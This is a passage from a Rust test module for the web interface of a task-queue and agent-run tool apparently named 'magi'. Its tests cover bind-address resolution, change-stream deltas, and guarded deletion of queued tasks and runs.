20145            }
20146        })
20147        .await
20148        .expect("shared monitor observes external turn");
20149        assert_ne!(
20150            before, after,
20151            "a phone must be able to notice a talk's reply without polling every store"
20152        );
20153    }
20154
20155    #[test]
20156    fn bind_reads_back_from_the_spelling_the_cli_prints() {
20157        // The CLI shows the default in `--help` and parses whatever comes
20158        // back, so the two directions have to agree or `--bind auto` breaks
20159        // the moment someone copies the help text.
20160        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20161            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20162        }
20163        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20164        assert!("everywhere".parse::<Bind>().is_err());
20165    }
20166
20167    #[test]
20168    fn an_explicit_bind_address_is_taken_verbatim() {
20169        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20170
20171        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20172
20173        assert_eq!(addr, asked);
20174        assert!(
20175            warning.is_none(),
20176            "an operator who named an address gets no lecture"
20177        );
20178    }
20179
20180    #[test]
20181    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20182        let (addr, warning) = resolve_bind(&Bind::Auto);
20183
20184        // This has to hold on a CI runner with no `tailscale` and on a dev box
20185        // with one, so the invariant asserted is the one shared by both
20186        // outcomes: the address is either a real tailnet address offered
20187        // without comment, or loopback with an explanation. What must never
20188        // happen is a silent fallback - an operator told "listening on
20189        // 127.0.0.1" with no reason would go looking for a firewall.
20190        match addr {
20191            IpAddr::V4(ip) if is_tailnet(&ip) => {
20192                assert!(warning.is_none(), "a tailnet address needs no warning");
20193            }
20194            other => {
20195                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20196                let warning = warning.expect("a fallback has to explain itself");
20197                assert!(
20198                    warning.contains("127.0.0.1") && warning.contains("local-only"),
20199                    "the warning says what happened and what it costs: {warning}"
20200                );
20201            }
20202        }
20203    }
20204
20205    #[test]
20206    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20207        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
20208        // boundary cases are what stop us binding to some other tool's idea of
20209        // an address.
20210        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20211        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20212        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20213        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20214        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20215    }
20216
20217    #[test]
20218    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20219        let ids = vec![
20220            "20260902-140501-aaaa".to_owned(),
20221            "20260902-140502-aabb".to_owned(),
20222        ];
20223
20224        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20225        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20226        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20227
20228        assert_eq!(missing.status, StatusCode::NOT_FOUND);
20229        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20230        assert_eq!(short, "20260902-140502-aabb");
20231    }
20232    #[tokio::test]
20233    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20234        // The prompt tells agents to reference attachments by bare filename.
20235        // A document served at `.../panel` resolves `shot.png` against its own
20236        // directory, i.e. `.../shot.png`, which is not the asset route - so a
20237        // panel written exactly as instructed showed broken images. Caught by
20238        // looking at a real one in a browser, not by reading the code.
20239        let fx = Fixture::start().await;
20240        let id = panel(
20241            &fx,
20242            "<img src=\"shot.png\">",
20243            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20244        );
20245
20246        // The frame's own URL ends in a filename, so its siblings are reachable.
20247        let doc = fx
20248            .get(&format!("/api/questions/{id}/panel/index.html"))
20249            .await;
20250        assert_eq!(doc.status, 200, "{}", doc.body);
20251        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20252
20253        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20254        assert_eq!(sibling.status, 200, "{}", sibling.body);
20255        assert_eq!(sibling.header("content-type"), Some("image/png"));
20256        assert_eq!(
20257            sibling.header("content-security-policy"),
20258            Some(PANEL_CSP),
20259            "the sibling route must carry the same policy as the asset route"
20260        );
20261
20262        // The original spelling keeps working: HEAD on it is how the front end
20263        // decides whether to mount a frame at all.
20264        assert_eq!(
20265            fx.head(&format!("/api/questions/{id}/panel")).await.status,
20266            200
20267        );
20268    }
20269
20270    #[test]
20271    fn delta_stamps_cover_add_update_remove_and_noop() {
20272        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20273        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20274        let delta = diff_stamps(&before, &after, 42);
20275        assert_eq!(delta.base, 42);
20276        assert_eq!(delta.changed, ["b", "c"]);
20277        assert_eq!(delta.removed, ["a"]);
20278        let same = diff_stamps(&after, &after, 43);
20279        assert!(same.changed.is_empty() && same.removed.is_empty());
20280        assert_ne!(stamps_revision(&before), stamps_revision(&after));
20281        let nanos: Stamps = [("b".into(), (2, 20))].into();
20282        let same_ms: Stamps = [("b".into(), (3, 20))].into();
20283        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20284        assert_eq!(stamps_revision(&Stamps::new()), 0);
20285    }
20286
20287    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20288        std::fs::create_dir_all(home.join("runs")).unwrap();
20289        Arc::new(Ui::new(
20290            Queue::at(home.join("queue")),
20291            Questions::at(home.join("questions")),
20292            Talks::at(home.join("talks")),
20293            home.join("runs"),
20294            home.to_owned(),
20295            PathBuf::from("/repo/magi"),
20296        ))
20297    }
20298
20299    #[test]
20300    fn monitor_scan_isolates_store_failures_and_recovers() {
20301        let home = TempDir::new().unwrap();
20302        let ui = delta_test_ui(home.path());
20303        std::fs::create_dir_all(ui.questions.root()).unwrap();
20304        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20305        let before = monitor_scan(&ui, None);
20306        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20307        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20308        std::fs::create_dir_all(ui.talks.root()).unwrap();
20309        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20310        let during = monitor_scan(&ui, Some(before.clone()));
20311        assert_eq!(during.0.2, before.0.2);
20312        assert_ne!(during.0.3, before.0.3);
20313        assert!(during.1[2].contains_key("new"));
20314        std::fs::remove_file(ui.questions.root()).unwrap();
20315        let after = monitor_scan(&ui, Some(during));
20316        assert_eq!(after.0.2, 0);
20317        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20318        // A failed first scan also permits healthy stores to publish.
20319        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20320        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20321    }
20322
20323    #[tokio::test]
20324    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20325        let home = TempDir::new().unwrap();
20326        let ui = delta_test_ui(home.path());
20327        let mut task = Task::new(
20328            "stream task".into(),
20329            "text".into(),
20330            PathBuf::from("/repo"),
20331            Source::Human,
20332        );
20333        ui.queue.put(&mut task).unwrap();
20334        let response = events(State(ui.clone())).await.into_response();
20335        let mut stream = response.into_body().into_data_stream();
20336        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20337            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20338                .await
20339                .unwrap()
20340                .unwrap()
20341                .unwrap();
20342            let text = String::from_utf8(chunk.to_vec()).unwrap();
20343            let data = text
20344                .lines()
20345                .find_map(|line| {
20346                    line.strip_prefix("data: ")
20347                        .or_else(|| line.strip_prefix("data:"))
20348                })
20349                .unwrap();
20350            serde_json::from_str(data).unwrap()
20351        }
20352        let initial = change(&mut stream).await;
20353        assert!(initial.get("queue_delta").is_none());
20354        task.instruction.push_str(" changed");
20355        ui.queue.put(&mut task).unwrap();
20356        let updated = change(&mut stream).await;
20357        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20358        assert_eq!(
20359            updated["queue_delta"]["changed"],
20360            serde_json::json!([task.id])
20361        );
20362        assert_eq!(
20363            updated["queue_rev"].as_u64(),
20364            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20365        );
20366        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20367        let removed = change(&mut stream).await;
20368        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20369        assert_eq!(
20370            removed["queue_delta"]["removed"],
20371            serde_json::json!([task.id])
20372        );
20373    }
20374
20375    #[tokio::test]
20376    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20377        let home = TempDir::new().unwrap();
20378        let ui = delta_test_ui(home.path());
20379        let queue = ui.queue.clone();
20380        let query = |ids: Option<&str>| {
20381            Query(ListQuery {
20382                limit: Some(2),
20383                ids: ids.map(str::to_owned),
20384            })
20385        };
20386        let mut root = Task::new(
20387            "root".into(),
20388            "instruction".into(),
20389            PathBuf::from("/repo"),
20390            Source::Human,
20391        );
20392        queue.put(&mut root).unwrap();
20393        let mut blocked = Task::new(
20394            "blocked".into(),
20395            "instruction".into(),
20396            PathBuf::from("/repo"),
20397            Source::Human,
20398        );
20399        blocked.block(vec![root.id.clone()], None);
20400        queue.put(&mut blocked).unwrap();
20401        let whole =
20402            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20403                .unwrap();
20404        let subset = serde_json::to_value(
20405            queue_list(State(ui.clone()), query(Some(&root.id)))
20406                .await
20407                .unwrap()
20408                .0,
20409        )
20410        .unwrap();
20411        assert_eq!(whole, subset, "requested root plus its blocked dependent");
20412        let blockers = serde_json::to_value(
20413            queue_list(State(ui.clone()), query(Some("")))
20414                .await
20415                .unwrap()
20416                .0,
20417        )
20418        .unwrap();
20419        assert_eq!(blockers.as_array().unwrap().len(), 1);
20420        assert_eq!(blockers[0]["id"], blocked.id);
20421        assert_eq!(
20422            blockers[0]["waits_on"],
20423            whole
20424                .as_array()
20425                .unwrap()
20426                .iter()
20427                .find(|row| row["id"] == blocked.id)
20428                .unwrap()["waits_on"]
20429        );
20430
20431        for id in [
20432            "20260902-140501-aaaa",
20433            "20260902-140502-bbbb",
20434            "20260902-140503-cccc",
20435        ] {
20436            write_run(&ui.runs, id, RunStatus::Merged);
20437        }
20438        let old = serde_json::to_value(
20439            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20440                .await
20441                .unwrap()
20442                .0,
20443        )
20444        .unwrap();
20445        assert!(
20446            old.as_array().unwrap().is_empty(),
20447            "older updates must not enter the window"
20448        );
20449        let newest = serde_json::to_value(
20450            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20451                .await
20452                .unwrap()
20453                .0,
20454        )
20455        .unwrap();
20456        assert_eq!(newest.as_array().unwrap().len(), 1);
20457        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20458
20459        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20460        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20461        let talks = serde_json::to_value(
20462            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20463                .await
20464                .unwrap()
20465                .0,
20466        )
20467        .unwrap();
20468        assert_eq!(talks.as_array().unwrap().len(), 1);
20469        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20470        assert_eq!(
20471            serde_json::to_value(
20472                talks_list(State(ui.clone()), query(Some("")))
20473                    .await
20474                    .unwrap()
20475                    .0
20476            )
20477            .unwrap(),
20478            serde_json::json!([])
20479        );
20480    }
20481
20482    #[tokio::test]
20483    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20484    async fn delta_payload_benchmark() {
20485        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20486        let ui = delta_test_ui(&home);
20487        let query = |ids: Option<String>| {
20488            Query(ListQuery {
20489                limit: Some(50),
20490                ids,
20491            })
20492        };
20493        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20494        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20495        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20496        let queue_id = queue
20497            .iter()
20498            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20499            .unwrap_or(&queue[0])
20500            .task
20501            .id
20502            .clone();
20503        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20504            .await
20505            .unwrap()
20506            .0;
20507        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20508            .await
20509            .unwrap()
20510            .0;
20511        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20512            .await
20513            .unwrap()
20514            .0;
20515        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20516        eprintln!(
20517            "DELTA_PAYLOAD {}",
20518            serde_json::json!({
20519                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20520                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20521                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20522                "counts": [queue.len(), runs.len(), talks.len()],
20523                "blocked": queue_delta.len() - 1,
20524            })
20525        );
20526    }
20527
20528    #[test]
20529    fn runs_revision_moves_when_deleting_an_older_run() {
20530        let temp = TempDir::new().expect("tempdir");
20531        let runs = temp.path().join("runs");
20532        std::fs::create_dir_all(&runs).expect("create runs dir");
20533
20534        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20535
20536        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20537        std::thread::sleep(Duration::from_millis(10));
20538        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20539
20540        let rev_before = runs_revision(&runs);
20541        assert!(rev_before > 0);
20542
20543        let old_dir = runs.join("20260901-100000-old1");
20544        std::fs::remove_dir_all(&old_dir).expect("remove old run");
20545
20546        let rev_after = runs_revision(&runs);
20547        assert_ne!(
20548            rev_before, rev_after,
20549            "deleting an older run must change the revision so other clients see the deletion"
20550        );
20551    }
20552
20553    /// A run's own `run.json` on an explicit `runs` root, bypassing the
20554    /// process-global home entirely — `RunState::save` writes through
20555    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
20556    /// (see `tests::home_lock` in the integration suite for why).
20557    fn write_state(runs: &FsPath, state: &RunState) {
20558        let dir = runs.join(&state.id);
20559        std::fs::create_dir_all(&dir).expect("run dir");
20560        std::fs::write(
20561            dir.join("run.json"),
20562            serde_json::to_string_pretty(state).expect("serialize run"),
20563        )
20564        .expect("write run.json");
20565    }
20566
20567    /// A seat starting or finishing is a write to `run.json` like any other,
20568    /// so it moves the same revision the change stream already watches —
20569    /// nothing new for `/api/events` to learn, but the property this feature
20570    /// depends on to reach the phone without a poll.
20571    #[test]
20572    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20573        let temp = TempDir::new().expect("tempdir");
20574        let runs = temp.path().join("runs");
20575        std::fs::create_dir_all(&runs).expect("create runs dir");
20576        let mut state = RunState::new(
20577            PathBuf::from("/repo/magi"),
20578            "main".to_owned(),
20579            "0123456789abcdef".to_owned(),
20580            "task".to_owned(),
20581            Config::default(),
20582        );
20583        state.id = "20260902-100000-c0de".to_owned();
20584        write_state(&runs, &state);
20585
20586        let rev_idle = runs_revision(&runs);
20587        std::thread::sleep(Duration::from_millis(10));
20588        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20589        write_state(&runs, &state);
20590        let rev_started = runs_revision(&runs);
20591        assert_ne!(
20592            rev_idle, rev_started,
20593            "a seat starting must move the revision"
20594        );
20595
20596        std::thread::sleep(Duration::from_millis(10));
20597        state.seat_finished("judge-1");
20598        write_state(&runs, &state);
20599        let rev_finished = runs_revision(&runs);
20600        assert_ne!(
20601            rev_started, rev_finished,
20602            "and clearing it again must move the revision a second time"
20603        );
20604    }
20605
20606    #[tokio::test]
20607    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20608        // `TaskView` flattens `Task`, so this is really asserting that
20609        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
20610        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
20611        // never touched web.rs, so nothing here caught it if it had.
20612        let fx = Fixture::start().await;
20613        let q = fx.queue();
20614
20615        let mut t = Task::new(
20616            "Task".to_owned(),
20617            "Instruction".to_owned(),
20618            PathBuf::from("/repo"),
20619            Source::Human,
20620        );
20621        t.block(
20622            vec!["20260101-000000-dead".to_owned()],
20623            Some("waiting on Task 1".to_owned()),
20624        );
20625        t.answers.push(crate::queue::AnsweredQuestion {
20626            question: "Which backend?".to_owned(),
20627            answer: "SQLite".to_owned(),
20628        });
20629        q.put(&mut t).expect("put t");
20630
20631        let res = fx.get("/api/queue").await;
20632        assert_eq!(res.status, 200);
20633        let list = res.json();
20634        let view = list
20635            .as_array()
20636            .expect("array")
20637            .iter()
20638            .find(|v| v["id"] == t.id)
20639            .expect("task in list");
20640        assert_eq!(view["status_str"], "blocked");
20641        assert_eq!(
20642            view["blocked_by"],
20643            serde_json::json!(["20260101-000000-dead"])
20644        );
20645        assert_eq!(view["block_reason"], "waiting on Task 1");
20646        assert_eq!(view["answers"][0]["question"], "Which backend?");
20647        assert_eq!(view["answers"][0]["answer"], "SQLite");
20648
20649        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
20650        // but never `answers` - that is a settled decision, not state
20651        // describing the current block, so it survives.
20652        let res = fx
20653            .post(&format!("/api/queue/{}/hold", t.short()), None)
20654            .await;
20655        assert_eq!(res.status, 200);
20656        let held = res.json();
20657        assert_eq!(held["status_str"], "held");
20658        assert_eq!(held["blocked_by"], serde_json::json!([]));
20659        assert!(held["block_reason"].is_null());
20660        assert_eq!(held["answers"][0]["answer"], "SQLite");
20661    }
20662
20663    #[tokio::test]
20664    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
20665        let fx = Fixture::start().await;
20666        let q = fx.queue();
20667        let mk = |title: &str| {
20668            Task::new(
20669                title.to_owned(),
20670                "Instruction".to_owned(),
20671                PathBuf::from("/repo"),
20672                Source::Human,
20673            )
20674        };
20675        let mut root = mk("root");
20676        root.hold_manual(Some("waiting".to_owned()));
20677        q.put(&mut root).unwrap();
20678        let mut mid = mk("mid");
20679        mid.block(vec![root.id.clone()], None);
20680        q.put(&mut mid).unwrap();
20681        let mut leaf = mk("leaf");
20682        leaf.block(vec![mid.id.clone()], None);
20683        q.put(&mut leaf).unwrap();
20684
20685        let list = fx.get("/api/queue").await.json();
20686        let find = |id: &str| {
20687            list.as_array()
20688                .unwrap()
20689                .iter()
20690                .find(|v| v["id"] == id)
20691                .unwrap()
20692                .clone()
20693        };
20694        let leaf_view = find(&leaf.id);
20695        assert_eq!(
20696            leaf_view["waits_on"],
20697            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
20698        );
20699        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
20700        assert_eq!(
20701            find(&mid.id)["waits_on"],
20702            serde_json::json!([format!("{} (held)", root.short())])
20703        );
20704        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
20705    }
20706
20707    #[tokio::test]
20708    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
20709        let fx = Fixture::start().await;
20710        let q = fx.queue();
20711
20712        // 1. A queued task with runs attached can be deleted.
20713        let mut t1 = Task::new(
20714            "Task 1".to_owned(),
20715            "Instruction 1".to_owned(),
20716            PathBuf::from("/repo"),
20717            Source::Human,
20718        );
20719        let run_id = "20260901-000000-r111";
20720        t1.runs.push(run_id.to_owned());
20721        write_run(&fx.runs(), run_id, RunStatus::Merged);
20722        q.put(&mut t1).expect("put t1");
20723
20724        // Delete by short id
20725        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
20726        assert_eq!(res.status, 204);
20727        assert!(res.body.is_empty(), "204 No Content has no body");
20728        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
20729        assert!(
20730            fx.runs().join(run_id).exists(),
20731            "run directory must not be deleted when its task is deleted"
20732        );
20733
20734        // 2. A task a live daemon is running is refused with 409.
20735        let mut t2 = Task::new(
20736            "Task 2".to_owned(),
20737            "Instruction 2".to_owned(),
20738            PathBuf::from("/repo"),
20739            Source::Human,
20740        );
20741        t2.status = TaskStatus::Running;
20742        q.put(&mut t2).expect("put t2");
20743        let mut beat = crate::daemon::Status::new();
20744        beat.current = vec![crate::daemon::Current {
20745            task: t2.id.clone(),
20746            run: "20260901-000000-r222".to_owned(),
20747        }];
20748        beat.updated_at = jiff::Timestamp::now();
20749        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20750            .expect("publish a heartbeat");
20751        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
20752        assert_eq!(res.status, 409);
20753        assert!(
20754            res.json()["error"]
20755                .as_str()
20756                .unwrap()
20757                .contains("live daemon")
20758        );
20759        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
20760
20761        // 3. The same `running` status and an orphaned lock, with no daemon
20762        // behind either, is a leftover and deletable. Before this the phone
20763        // refused it for good: the status never changes on its own and
20764        // nothing drops a lock whose process is gone.
20765        // The daemon is killed: the file stays, the heartbeat stops.
20766        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
20767        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20768            .expect("leave a stale heartbeat");
20769        let mut t3 = Task::new(
20770            "Task 3".to_owned(),
20771            "Instruction 3".to_owned(),
20772            PathBuf::from("/repo"),
20773            Source::Human,
20774        );
20775        t3.status = TaskStatus::Running;
20776        q.put(&mut t3).expect("put t3");
20777        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
20778        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
20779        assert_eq!(res.status, 204);
20780        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
20781        assert!(
20782            q.claim(&t3.id).is_ok(),
20783            "the stale lock went with it, so the id is claimable again"
20784        );
20785
20786        // 4. Missing id returns 404
20787        let res = fx.delete("/api/queue/nonexistent").await;
20788        assert_eq!(res.status, 404);
20789    }
20790
20791    #[tokio::test]
20792    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
20793        let fx = Fixture::start().await;
20794        let runs = fx.runs();
20795
20796        // 1. Finished and folded run can be deleted along with artifacts
20797        let run_id = "20260901-000000-fold";
20798        let mut state = RunState::new(
20799            PathBuf::from("/repo"),
20800            "main".to_owned(),
20801            "abc".to_owned(),
20802            "instruction".to_owned(),
20803            Config::default(),
20804        );
20805        state.id = run_id.to_owned();
20806        state.status = RunStatus::Merged;
20807        state.candidates.push(crate::run::Candidate {
20808            index: 0,
20809            label: 'A',
20810            agent: "a".to_owned(),
20811            branch: "b".to_owned(),
20812            worktree: PathBuf::from("/w"),
20813            summary: String::new(),
20814            stat: String::new(),
20815            files: 1,
20816            commits: 1,
20817            empty: false,
20818            failed: None,
20819            verified_noop: None,
20820            duration_ms: 0,
20821            folded: true,
20822        });
20823        let dir = runs.join(run_id);
20824        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
20825        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
20826            .expect("write artifact");
20827        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
20828            .expect("write run.json");
20829
20830        // Delete by short id
20831        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
20832        assert_eq!(res.status, 204);
20833        assert!(res.body.is_empty(), "204 has no body");
20834        assert!(!dir.exists(), "run directory and artifacts must be deleted");
20835
20836        // 2. A run a live daemon is working on is refused with 409. The
20837        // heartbeat is what makes it refusable: an unfinished run with no
20838        // daemon behind it is a leftover from a killed process, and case 1
20839        // above would otherwise be impossible to tell apart from this one.
20840        let run_running = "20260901-000000-rung";
20841        write_run(&runs, run_running, RunStatus::Prep);
20842        let mut beat = crate::daemon::Status::new();
20843        beat.current = vec![crate::daemon::Current {
20844            task: "20260901-000000-task".to_owned(),
20845            run: run_running.to_owned(),
20846        }];
20847        beat.updated_at = jiff::Timestamp::now();
20848        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20849            .expect("publish a heartbeat");
20850        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
20851        assert_eq!(res.status, 409);
20852        assert!(
20853            res.json()["error"]
20854                .as_str()
20855                .unwrap()
20856                .contains("live daemon"),
20857            "the refusal must say who is holding it"
20858        );
20859        assert!(
20860            runs.join(run_running).exists(),
20861            "a run in flight keeps its directory"
20862        );
20863
20864        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
20865        let run_unfolded = "20260901-000000-unfd";
20866        let mut state2 = RunState::new(
20867            PathBuf::from("/repo"),
20868            "main".to_owned(),
20869            "abc".to_owned(),
20870            "instruction".to_owned(),
20871            Config::default(),
20872        );
20873        state2.id = run_unfolded.to_owned();
20874        state2.status = RunStatus::Ready;
20875        state2.candidates.push(crate::run::Candidate {
20876            index: 0,
20877            label: 'A',
20878            agent: "a".to_owned(),
20879            branch: "b".to_owned(),
20880            worktree: PathBuf::from("/w"),
20881            summary: String::new(),
20882            stat: String::new(),
20883            files: 1,
20884            commits: 1,
20885            empty: false,
20886            failed: None,
20887            verified_noop: None,
20888            duration_ms: 0,
20889            folded: false,
20890        });
20891        let dir2 = runs.join(run_unfolded);
20892        std::fs::create_dir_all(&dir2).expect("create dir2");
20893        std::fs::write(
20894            dir2.join("run.json"),
20895            serde_json::to_string(&state2).unwrap(),
20896        )
20897        .expect("write run.json");
20898
20899        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
20900        assert_eq!(res.status, 409);
20901        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
20902        assert!(dir2.exists(), "unfolded run directory is kept");
20903
20904        // 4. Missing id returns 404
20905        let res = fx.delete("/api/runs/nonexistent").await;
20906        assert_eq!(res.status, 404);
20907    }
20908
20909    /// The queue tiles on the Stats tab must render even on a home with no
20910    /// runs at all: queue state is not derived from run history, so hiding
20911    /// the whole dashboard body behind "no runs yet" would drop the one
20912    /// thing this tab promises unconditionally (queued/running/held/done).
20913    /// A DOM-level test would need a browser this suite does not have, so
20914    /// this pins the same invariant textually: `renderStatsQueue` is called
20915    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
20916    /// block that gates the run-derived panels.
20917    #[test]
20918    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
20919        let start = APP_JS
20920            .find("function renderStats() {")
20921            .expect("renderStats");
20922        let end = start
20923            + APP_JS[start..]
20924                .find("function statsTile(")
20925                .expect("the next top-level function");
20926        let body = &APP_JS[start..end];
20927
20928        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
20929        let gate_end = gate_start
20930            + body[gate_start..]
20931                .find("}\n  renderStatsQueue")
20932                .expect("the gate's own closing brace, right before the unconditional call");
20933        let gated = &body[gate_start..gate_end];
20934
20935        assert_eq!(
20936            body.matches("renderStatsQueue(").count(),
20937            1,
20938            "renderStats must call renderStatsQueue exactly once: {body}"
20939        );
20940        assert!(
20941            !gated.contains("renderStatsQueue"),
20942            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
20943             run-derived panels on an empty run history - the queue panel has to render \
20944             regardless: {gated}"
20945        );
20946    }
20947
20948    #[test]
20949    fn web_ui_delete_contract_in_front_end() {
20950        // 1. API block has both delete endpoints
20951        assert!(APP_JS.contains("deleteRun:"));
20952        assert!(APP_JS.contains("deleteTask:"));
20953
20954        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
20955        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
20956            ..APP_JS.find("function renderRuns").unwrap()];
20957        assert!(!run_cards_slice.to_lowercase().contains("delete"));
20958
20959        // 3. Run detail has delete entry and reasons
20960        assert!(APP_JS.contains("renderRunDelete"));
20961        assert!(APP_JS.contains("runDeleteReason"));
20962        assert!(APP_JS.contains("magi fold"));
20963        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
20964
20965        // 4. Two-step delete arming and focus on Cancel
20966        assert!(APP_JS.contains("cancel.focus"));
20967        assert!(APP_JS.contains("armedRunDelete"));
20968        assert!(APP_JS.contains("renderTaskDeleteBox"));
20969        assert!(APP_JS.contains("armed${cap(key)}"));
20970
20971        // 5. Running task has disabled delete
20972        assert!(APP_JS.contains("disabled: status === \"running\""));
20973    }
20974
20975    /// Every element a run card's updater reaches for must be in the `refs`
20976    /// the builder handed it.
20977    ///
20978    /// `createRunCard` builds its elements, appends them to the card, and then
20979    /// lists them again in `row.refs`. That second list is the one the updater
20980    /// uses, and nothing connects the two - an element can be built, appended
20981    /// and rendered, and still be missing from `refs`. `superseded` was, for
20982    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
20983    /// exception took `syncList` with it, and the deck showed
20984    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
20985    /// line is computed before the cards, which is why the failure looked like
20986    /// a server that had lost its runs rather than a front end that had
20987    /// stopped rendering them.
20988    ///
20989    /// A `cargo test` cannot execute the front end, so this reads the two
20990    /// halves out of the source and compares them as sets. It is not a check
20991    /// on the wording of either list: adding an element, renaming one, or
20992    /// reordering them all keeps this passing, and only using one the builder
20993    /// never published fails it.
20994    #[test]
